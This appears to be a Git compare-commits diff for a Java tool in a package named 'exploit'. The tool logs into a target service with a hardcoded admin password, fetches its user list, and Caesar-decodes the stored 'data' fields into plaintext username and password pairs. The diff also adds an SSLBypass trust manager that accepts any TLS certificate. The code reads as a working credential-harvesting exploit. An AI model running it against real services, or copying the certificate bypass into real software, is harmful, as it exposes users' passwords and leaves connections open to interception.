Compare commits
	
		
			3 Commits
		
	
	
		
			without_by
			...
			enhanced-s
		
	
	| Author | SHA1 | Date | |
|---|---|---|---|
| a1e1caff5d | |||
| e22dec88a5 | |||
| a757b08722 | 
							
								
								
									
										6
									
								
								.idea/git_toolbox_blame.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										6
									
								
								.idea/git_toolbox_blame.xml
									
									
									
										generated
									
									
									
								
							@@ -1,6 +0,0 @@
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<project version="4">
 | 
			
		||||
  <component name="GitToolBoxBlameSettings">
 | 
			
		||||
    <option name="version" value="2" />
 | 
			
		||||
  </component>
 | 
			
		||||
</project>
 | 
			
		||||
@@ -24,14 +24,12 @@ public class Main {
 | 
			
		||||
    public static String password = "AdminSecret1C";
 | 
			
		||||
    public static String port = "443";
 | 
			
		||||
    public static int rotation = 4;
 | 
			
		||||
    public static boolean insecure = false;
 | 
			
		||||
    public static boolean asynchronous = true;
 | 
			
		||||
    public static Request requestClient;
 | 
			
		||||
 | 
			
		||||
    public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
 | 
			
		||||
        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
 | 
			
		||||
 | 
			
		||||
        requestClient = new Request(false);
 | 
			
		||||
 | 
			
		||||
        if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
 | 
			
		||||
            asynchronous = false;
 | 
			
		||||
        }
 | 
			
		||||
@@ -71,7 +69,7 @@ public class Main {
 | 
			
		||||
        boolean tokenFound = false;
 | 
			
		||||
        while (!tokenFound) {
 | 
			
		||||
            try {
 | 
			
		||||
                response = requestClient.get(link, port, "/login", requestJSON, null);
 | 
			
		||||
                response = Request.get(link, port, "/login", requestJSON, null, insecure);
 | 
			
		||||
                if (response.statusCode() == 308) {
 | 
			
		||||
                    System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
 | 
			
		||||
                    if (reader.readLine().equalsIgnoreCase("n")) {
 | 
			
		||||
@@ -90,7 +88,7 @@ public class Main {
 | 
			
		||||
                    System.err.println("Operation aborted ! Security failure.");
 | 
			
		||||
                    System.exit(1);
 | 
			
		||||
                } else {
 | 
			
		||||
                    requestClient = new Request(true);
 | 
			
		||||
                    insecure = true;
 | 
			
		||||
                }
 | 
			
		||||
            } catch (SSLException e) {
 | 
			
		||||
                if (e.getMessage().contains("plaintext connection?")) {
 | 
			
		||||
@@ -110,6 +108,8 @@ public class Main {
 | 
			
		||||
            System.exit(1);
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        System.out.println(response.statusCode());
 | 
			
		||||
 | 
			
		||||
        JSONObject responseObject = new JSONObject(response.body());
 | 
			
		||||
        String token = responseObject.optString("token");
 | 
			
		||||
 | 
			
		||||
@@ -124,7 +124,7 @@ public class Main {
 | 
			
		||||
        Map<String, String> headers = new HashMap<>();
 | 
			
		||||
        headers.put("Authorization", "Bearer " + token);
 | 
			
		||||
 | 
			
		||||
        response = requestClient.get(link, port, "/references", requestJSON, headers);
 | 
			
		||||
        response = Request.get(link, port, "/references", requestJSON, headers, insecure);
 | 
			
		||||
        JSONArray usersArray = new JSONArray(response.body());
 | 
			
		||||
 | 
			
		||||
        System.out.println(usersArray.length() + " users found !");
 | 
			
		||||
 
 | 
			
		||||
@@ -1,33 +1,33 @@
 | 
			
		||||
package fr.motysten.usertwist.exploit.tools;
 | 
			
		||||
 | 
			
		||||
import java.util.stream.Collectors;
 | 
			
		||||
 | 
			
		||||
public class Cesar {
 | 
			
		||||
 | 
			
		||||
    public static String rotate(String input, int offset) {
 | 
			
		||||
        char normalizeKey = (char) (offset % 26);
 | 
			
		||||
    public static final String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
 | 
			
		||||
    public static final String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
 | 
			
		||||
 | 
			
		||||
        return input.chars()
 | 
			
		||||
                .mapToObj(c -> (char) c)
 | 
			
		||||
                .map(c -> {
 | 
			
		||||
                    if (Character.isLetter(c)) {
 | 
			
		||||
                        char base;
 | 
			
		||||
                        if (Character.isUpperCase(c)) {
 | 
			
		||||
                            base = 'A';
 | 
			
		||||
                        } else {
 | 
			
		||||
                            base = 'a';
 | 
			
		||||
                        }
 | 
			
		||||
                        if (offset < 0) {
 | 
			
		||||
                            return (char) (base + (c - base + normalizeKey) % 26);
 | 
			
		||||
                        } else {
 | 
			
		||||
                            return (char) (base + (c - base - normalizeKey + 26) % 26);
 | 
			
		||||
                        }
 | 
			
		||||
                    } else {
 | 
			
		||||
                        return c;
 | 
			
		||||
                    }
 | 
			
		||||
                })
 | 
			
		||||
                .map(String::valueOf)
 | 
			
		||||
                .collect(Collectors.joining());
 | 
			
		||||
    public static String cesarRotate(String input, int offset) {
 | 
			
		||||
 | 
			
		||||
        while (offset < 0) {
 | 
			
		||||
            offset += 26;
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        StringBuilder output = new StringBuilder();
 | 
			
		||||
        
 | 
			
		||||
        for (int i = 0; i < input.length(); i++) {
 | 
			
		||||
            char newChar = input.charAt(i);
 | 
			
		||||
            if (!Character.isDigit(input.charAt(i))) {
 | 
			
		||||
                int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
 | 
			
		||||
                int newPos = (pos + offset) % 26;
 | 
			
		||||
                if (Character.isUpperCase(input.charAt(i))) {
 | 
			
		||||
                    newChar = UPPER_ALPHABET.charAt(newPos);
 | 
			
		||||
                } else {
 | 
			
		||||
                    newChar = LOWER_ALPHABET.charAt(newPos);
 | 
			
		||||
                }
 | 
			
		||||
            }
 | 
			
		||||
            output.append(newChar);
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
        return output.toString();
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
}
 | 
			
		||||
 
 | 
			
		||||
@@ -9,7 +9,7 @@ public class Parser {
 | 
			
		||||
        for (int i = 0; i < usersArray.length(); i++) {
 | 
			
		||||
            JSONObject user = usersArray.getJSONObject(i);
 | 
			
		||||
            String login = user.getString("username");
 | 
			
		||||
            String password = Cesar.rotate(user.getString("data"), rotation);
 | 
			
		||||
            String password = Cesar.cesarRotate(user.getString("data"), rotation);
 | 
			
		||||
 | 
			
		||||
            System.out.println((i + 1) + ". " + login + " => " + password);
 | 
			
		||||
        }
 | 
			
		||||
@@ -23,7 +23,7 @@ public class Parser {
 | 
			
		||||
            new Thread(() -> {
 | 
			
		||||
                JSONObject user = usersArray.getJSONObject(finalI);
 | 
			
		||||
                String login = user.getString("username");
 | 
			
		||||
                String password = Cesar.rotate(user.getString("data"), rotation);
 | 
			
		||||
                String password = Cesar.cesarRotate(user.getString("data"), rotation);
 | 
			
		||||
 | 
			
		||||
                System.out.println((finalI + 1) + ". " + login + " => " + password);
 | 
			
		||||
            }).start();
 | 
			
		||||
 
 | 
			
		||||
@@ -3,11 +3,8 @@ package fr.motysten.usertwist.exploit.tools;
 | 
			
		||||
import org.json.JSONObject;
 | 
			
		||||
 | 
			
		||||
import javax.net.ssl.SSLContext;
 | 
			
		||||
import javax.net.ssl.SSLEngine;
 | 
			
		||||
import javax.net.ssl.TrustManager;
 | 
			
		||||
import javax.net.ssl.X509ExtendedTrustManager;
 | 
			
		||||
import java.io.IOException;
 | 
			
		||||
import java.net.Socket;
 | 
			
		||||
import java.net.URI;
 | 
			
		||||
import java.net.http.HttpClient;
 | 
			
		||||
import java.net.http.HttpRequest;
 | 
			
		||||
@@ -15,59 +12,20 @@ import java.net.http.HttpResponse;
 | 
			
		||||
import java.security.KeyManagementException;
 | 
			
		||||
import java.security.NoSuchAlgorithmException;
 | 
			
		||||
import java.security.SecureRandom;
 | 
			
		||||
import java.security.cert.X509Certificate;
 | 
			
		||||
import java.util.Map;
 | 
			
		||||
 | 
			
		||||
public class Request {
 | 
			
		||||
 | 
			
		||||
    private final HttpClient client;
 | 
			
		||||
    public static HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException {
 | 
			
		||||
        HttpClient client = HttpClient.newHttpClient();
 | 
			
		||||
 | 
			
		||||
    public Request(boolean insecure) throws NoSuchAlgorithmException, KeyManagementException {
 | 
			
		||||
        HttpClient.Builder builder = HttpClient.newBuilder();
 | 
			
		||||
        if (insecure) {
 | 
			
		||||
            SSLContext customContext = SSLContext.getInstance("TLS");
 | 
			
		||||
            customContext.init(null, new TrustManager[]{new X509ExtendedTrustManager() {
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
            customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public void checkServerTrusted(X509Certificate[] x509Certificates, String s) {
 | 
			
		||||
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                @Override
 | 
			
		||||
                public X509Certificate[] getAcceptedIssuers() {
 | 
			
		||||
                    return new X509Certificate[0];
 | 
			
		||||
                }
 | 
			
		||||
            }}, new SecureRandom());
 | 
			
		||||
            builder.sslContext(customContext);
 | 
			
		||||
            client = HttpClient.newBuilder().sslContext(customContext).build();
 | 
			
		||||
        }
 | 
			
		||||
        this.client = builder.build();
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    public HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers) throws IOException, InterruptedException {
 | 
			
		||||
        HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
 | 
			
		||||
        if (headers != null) {
 | 
			
		||||
            for (Map.Entry<String, String> header : headers.entrySet()) {
 | 
			
		||||
 
 | 
			
		||||
							
								
								
									
										43
									
								
								src/fr/motysten/usertwist/exploit/tools/SSLBypass.java
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										43
									
								
								src/fr/motysten/usertwist/exploit/tools/SSLBypass.java
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,43 @@
 | 
			
		||||
package fr.motysten.usertwist.exploit.tools;
 | 
			
		||||
 | 
			
		||||
import javax.net.ssl.SSLEngine;
 | 
			
		||||
import javax.net.ssl.X509ExtendedTrustManager;
 | 
			
		||||
import java.net.Socket;
 | 
			
		||||
import java.security.cert.X509Certificate;
 | 
			
		||||
 | 
			
		||||
public class SSLBypass extends X509ExtendedTrustManager {
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s, Socket socket) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s, SSLEngine sslEngine) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkClientTrusted(X509Certificate[] x509Certificates, String s) {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public void checkServerTrusted(X509Certificate[] x509Certificates, String s)  {
 | 
			
		||||
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @Override
 | 
			
		||||
    public X509Certificate[] getAcceptedIssuers() {
 | 
			
		||||
        return new X509Certificate[0];
 | 
			
		||||
    }
 | 
			
		||||
}
 | 
			
		||||
		Reference in New Issue
	
	Block a user